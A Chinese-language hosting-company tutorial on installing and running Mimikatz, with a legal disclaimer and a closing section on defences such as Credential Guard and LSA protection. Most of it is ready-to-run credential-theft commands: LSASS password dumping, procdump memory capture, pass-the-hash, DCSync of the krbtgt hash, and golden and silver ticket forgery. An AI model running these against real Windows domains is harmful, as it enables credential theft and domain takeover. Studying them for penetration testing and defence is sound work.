15%

全场主机优惠15%

测试技能,享折扣

使用代码:

Skills
开始使用
24.10.2024

如何安装和使用Mimikatz:安全专业人员完整指南

Mimikatz 是网络安全领域最广为人知、讨论最为广泛的工具之一。它最初作为概念验证工具开发,旨在演示 Windows 身份验证中的漏洞,如今已成为渗透测试人员、红队成员和安全研究人员工具箱中的必备利器。本指南将全面介绍 Mimikatz 是什么、谁在使用它,以及如何在受控环境中负责任地安装和操作它。

> 法律免责声明:Mimikatz 只能用于您拥有或已获得明确书面授权进行测试的系统。未经授权的使用属于违法行为,可能导致严重的刑事处罚。本指南仅供教育目的和合法安全测试使用。

什么是 Mimikatz?

Mimikatz 是由法国安全研究员 Benjamin Delpy 创建的开源 Windows 安全工具。其主要功能是从 Windows 系统内存(特别是 LSASS 进程)中提取身份验证凭据,包括明文密码、NTLM 密码哈希、PIN 码和 Kerberos 票据。

由于 Windows 历史上将凭据缓存在内存中以支持跨服务的无缝身份验证,Mimikatz 得以揭露操作系统处理敏感身份验证数据方式中的根本性设计缺陷。微软此后引入了 Credential Guard 和受保护用户安全组等缓解措施,但 Mimikatz 也在不断随这些防御措施演进,使其成为理解当前威胁态势的宝贵参考工具。

Mimikatz 的核心功能

  • 从 Windows 内存(LSASS)中提取明文密码
  • 从 SAM 数据库和 Active Directory 转储 NTLM 哈希
  • Kerberos 票据提取与操控(黄金票据、白银票据攻击)
  • 哈希传递(PtH)——使用捕获的哈希进行身份验证
  • 票据传递(PtT)——使用窃取的 Kerberos 票据发动攻击
  • DCSync 攻击——无需直接访问即可复制域控制器数据

谁在使用 Mimikatz,为什么?

合法安全使用场景

Mimikatz 主要被信息安全专业人员用于以下场景:

  • 渗透测试——模拟真实世界的凭据窃取攻击,评估组织防御体系在对手获得初始访问权限后的抵御能力。
  • 红队行动——模拟高级持续性威胁(APT)技术,测试蓝队和 SOC 分析师的检测与响应能力。
  • 安全审计——评估密码和 Kerberos 票据的存储与保护是否符合安全最佳实践。
  • 培训与意识提升——向系统管理员和工程师直观演示基于凭据的攻击在实践中的运作方式,将抽象威胁转化为可感知、可操作的内容。
  • 漏洞研究——在恶意行为者利用之前,识别 Windows 身份验证机制中的新弱点。

恶意滥用

遗憾的是,Mimikatz 因其高效性也成为威胁行为者的常用工具。常见的恶意使用场景包括:

  • 哈希传递攻击——使用捕获的 NTLM 哈希向系统进行身份验证,无需知道原始明文密码。
  • 票据传递攻击——使用窃取的 Kerberos 票据在网络中冒充合法用户。
  • 后渗透持久化——在初始入侵后收集凭据,以便在网络中横向移动并提升权限。
  • 黄金票据攻击——伪造 Kerberos 票据授予票据(TGT),以获得对域资源的持久性、近乎无限的访问权限。

了解攻击者如何使用 Mimikatz,正是防御者需要熟悉它的原因所在。如果您正在运行 VPS 托管环境或管理专用基础设施,了解这些攻击向量有助于您构建更具弹性的防御体系。

前提条件

在继续操作之前,请确保在您的授权测试环境中满足以下条件:

要求详情
操作系统Windows 7 / Windows 10 / Windows 11 / Windows Server 2008–2022
权限大多数模块需要本地管理员或 SYSTEM 级别访问权限
防病毒状态临时禁用或为测试目录配置排除项
环境隔离的实验室环境或虚拟机——切勿在生产系统上使用
授权必须获得系统所有者的书面许可

> 最佳实践:始终在隔离的虚拟机或专用实验室服务器中进行 Mimikatz 测试。如果您需要用于渗透测试实验室的安全隔离环境,可考虑部署带有 Windows 镜像的 VPS 托管实例,使您的测试与生产基础设施完全隔离。

第一步:下载 Mimikatz

1.1 访问官方 GitHub 仓库

Mimikatz 作为开源项目维护。请始终从官方来源下载,以避免被篡改或植入木马的版本:

官方仓库:https://github.com/gentilkiwi/mimikatz

1.2 下载最新版本

  1. 导航至仓库的 Releases 部分(右侧边栏或通过 /releases URL 路径)。
  2. 找到最新的稳定版本。
  3. 下载预编译压缩包——通常命名为 mimikatz_trunk.zip

1.3 解压压缩包

  1. 右键单击下载的 ZIP 文件。
  2. 选择全部解压…
  3. 选择目标目录,例如:C:SecurityToolsMimikatz

解压后,您将看到两个子目录:

  • x64——64 位二进制文件(在现代系统上使用此版本)
  • Win32——32 位二进制文件(用于旧版系统)

您将使用的主要可执行文件是 mimikatz.exe

第二步:运行 Mimikatz

2.1 打开提升权限的命令提示符

Mimikatz 需要管理员权限才能与受保护的内存区域交互。启动提升权限的 Shell:

  1. Windows + X
  2. 选择命令提示符(管理员)Windows PowerShell(管理员)
  3. 在 UAC 提示框中点击

2.2 导航至 Mimikatz 目录

cd C:SecurityToolsMimikatzx64

验证 mimikatz.exe 是否存在于此目录中:

dir mimikatz.exe

2.3 启动 Mimikatz

mimikatz.exe

如果工具成功启动,您将看到 Mimikatz 横幅和交互式提示符:

  .#####.   mimikatz 2.2.0 (x64) ...
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## /  ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ##  / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'         > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #
mimikatz # 提示符确认工具正在运行并准备好接受命令。
2.4 启用调试权限
在运行大多数凭据提取命令之前,请在会话中提升 Mimikatz 自身的权限:
mimikatz # privilege::debug
预期输出:
Privilege '20' OK
这将授予 Mimikatz SeDebugPrivilege 权限,这是读取 LSASS 等受保护进程内存所必需的。
—
第三步:Mimikatz 核心命令
3.1 从内存中提取明文密码
这是 Mimikatz 最广为人知的功能。它直接从 LSASS 内存中读取由 WDigest 身份验证提供程序缓存的凭据:
mimikatz # sekurlsa::logonpasswords
返回内容:

已登录用户名
域名
明文密码(如果启用了 WDigest 缓存)
NTLM 哈希
SHA1 哈希
Kerberos 凭据

> 注意:在 Windows 8.1 及更高版本中,微软默认禁用了 WDigest 明文缓存。但攻击者(和测试人员)可以通过注册表键重新启用它,这也是该测试用例至今仍具相关性的原因。
3.2 显示存储的密码(替代命令)
mimikatz # sekurlsa::passwords
此命令提供系统内存中可用凭据的简化视图。
3.3 从内存转储文件中提取凭据
如果无法直接在目标系统上运行 Mimikatz,可以先捕获 LSASS 内存转储,然后离线分析:
使用任务管理器创建转储:

打开任务管理器 → 详细信息选项卡
右键单击 lsass.exe → 创建转储文件

或使用 ProcDump(来自 Sysinternals):
procdump.exe -accepteula -ma lsass.exe lsass.dmp
使用 Mimikatz 分析转储:
mimikatz # sekurlsa::minidump C:PathTolsass.dmp
mimikatz # sekurlsa::logonpasswords
3.4 列出 Kerberos 票据
枚举当前登录会话中存在的所有 Kerberos 票据:
mimikatz # kerberos::list
列出包含完整详情(包括会话密钥)的票据:
mimikatz # kerberos::list /export
这会将每个票据导出为 .kirbi 文件,可用于票据传递攻击。
3.5 将凭据导出到文件
将凭据转储的输出保存到文本文件以供后续分析:
mimikatz # sekurlsa::logonpasswords > C:SecurityToolscredentials.txt
输出将写入指定路径中的 credentials.txt。
—
第四步:Mimikatz 高级技术
4.1 哈希传递(PtH)攻击
哈希传递允许使用捕获的 NTLM 哈希向远程系统进行身份验证,无需知道明文密码:
mimikatz # sekurlsa::pth /user:Administrator /domain:TARGETDOMAIN /ntlm:<NTLM_HASH> /run:cmd.exe
这将生成一个以指定用户身份通过哈希进行身份验证的新 cmd.exe 进程。
4.2 黄金票据攻击
黄金票据是使用 KRBTGT 账户密码哈希签名的伪造 Kerberos TGT,持有者可获得对域资源近乎无限的访问权限。这需要 KRBTGT 哈希,可通过 DCSync 获取:
第一步——通过 DCSync 提取 KRBTGT 哈希:
mimikatz # lsadump::dcsync /domain:target.local /user:krbtgt
第二步——创建黄金票据:
mimikatz # kerberos::golden /user:Administrator /domain:target.local /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /ticket:golden.kirbi
第三步——注入票据:
mimikatz # kerberos::ptt golden.kirbi
4.3 从 SAM 数据库转储 NTLM 哈希
从 SAM 数据库提取本地账户哈希(需要 SYSTEM 权限):
mimikatz # lsadump::sam
4.4 从 LSA 转储机密
mimikatz # lsadump::secrets
这将检索 LSA 机密,其中可能包括服务账户凭据、缓存的域凭据以及本地安全机构存储的其他敏感数据。
4.5 白银票据攻击
白银票据针对特定服务而非整个域。它需要目标服务账户的 NTLM 哈希:
mimikatz # kerberos::golden /user:Administrator /domain:target.local /sid:<DOMAIN_SID> /target:<SERVICE_HOST> /service:cifs /rc4:<SERVICE_ACCOUNT_HASH> /ticket:silver.kirbi
—
第五步:防御对策
了解 Mimikatz 的工作原理只是解题的一半。另一半是知道如何防御它。如果您管理 Windows 服务器——无论是在独立服务器还是基于云的基础设施上——以下缓解措施至关重要:
5.1 启用 Credential Guard
Windows Credential Guard 使用基于虚拟化的安全性(VBS)将 LSASS 隔离在受保护的容器中,防止 Mimikatz 直接从内存中读取凭据。
通过组策略启用:
Computer Configuration → Administrative Templates → System → Device Guard → Turn On Virtualization Based Security

5.2 禁用 WDigest 身份验证

通过禁用 WDigest 防止明文密码缓存:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest
UseLogonCredential = 0

5.3 将用户添加到受保护用户组

受保护用户安全组的成员无法使用 NTLM、DES 或 RC4 Kerberos 加密进行身份验证,从而显著降低凭据窃取攻击的有效性。

5.4 实施 LSA 保护(RunAsPPL)

为 LSASS 启用受保护进程轻量级(PPL)以防止未授权的内存访问:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa
RunAsPPL = 1

5.5 监控 Mimikatz 指标

配置您的 SIEM 或 EDR 解决方案,对以下情况发出警报:

  • 意外进程访问 lsass.exe 内存
  • SeDebugPrivilege 被授予非系统进程
  • 进程日志中可疑的 sekurlsakerberoslsadump 命令模式
  • 异常的 LSASS 转储文件创建事件(事件 ID 4656、4663)

5.6 保持系统补丁更新

许多 Mimikatz 技术利用已知漏洞或旧版行为。保持 Windows 和 Active Directory 完全更新可消除整类攻击向量。

Mimikatz 在安全托管基础设施中的应用

对于运行 Web 应用程序、API 或内部服务的组织而言,凭据窃取的风险已超出本地工作站的范畴。如果攻击者获得了对您服务器环境的访问权限,Mimikatz 等工具可被用于提升权限并横向移动。

选择在基础设施层面优先考虑安全性的托管服务提供商是重要的防御层之一。无论您需要用于小型项目的共享虚拟主机,还是用于企业工作负载的独立服务器,确保您的托管环境包含 DDoS 防护、网络隔离和定期安全更新,都能有效减少整体攻击面。

对于管理 Active Directory 环境或基于 Windows 应用程序的团队,将基础设施与正确配置的 SSL 证书配合使用,可确保客户端与服务器之间传输的凭据在传输过程中得到加密,为防止拦截提供额外的保护层。

摘要:Mimikatz 命令参考

命令用途
privilege::debug启用 SeDebugPrivilege
sekurlsa::logonpasswords从 LSASS 转储所有登录凭据
sekurlsa::passwords显示内存中缓存的密码
sekurlsa::minidump <file>加载并分析 LSASS 转储文件
kerberos::list列出当前会话中的 Kerberos 票据
kerberos::list /export将 Kerberos 票据导出为 .kirbi 文件
kerberos::ptt <ticket>注入 Kerberos 票据(票据传递)
kerberos::golden创建黄金票据
lsadump::sam从 SAM 数据库转储 NTLM 哈希
lsadump::secrets提取 LSA 机密
lsadump::dcsync通过 DCSync 复制域凭据
sekurlsa::pth执行哈希传递攻击

结论

Mimikatz 至今仍是网络安全专业人员可用的最强大、最具教育意义的工具之一。它揭露 Windows 身份验证机制根本弱点的能力,推动了微软在凭据保护设计方面的重大改进——从 Credential Guard 到受保护用户,再到 LSA PPL。对于渗透测试人员、红队成员和安全研究人员而言,深入理解 Mimikatz 不是可选项,而是必备要求。

始终牢记以下关键原则:

  • 在任何系统上使用 Mimikatz 之前,务必获得明确的书面授权。
  • 使用隔离环境——虚拟机或专用实验室服务器——以避免意外泄露。
  • 对防御的理解应与对攻击的理解同样深入。
  • 保持更新——Mimikatz 和 Windows 防御措施都在持续演进。

将 Mimikatz 等工具的实践知识与安全、配置完善的托管基础设施相结合,安全团队可以构建真正经过真实世界攻击技术验证的防御体系,而非依赖理论假设。

*AlexHost 提供安全、高性能的托管解决方案,专为注重安全的专业人员设计。探索我们的 VPS 托管方案和独立服务器,构建您的下一个安全实验室或生产环境。*

15%

全场主机优惠15%

测试技能,享折扣

使用代码:

Skills
开始使用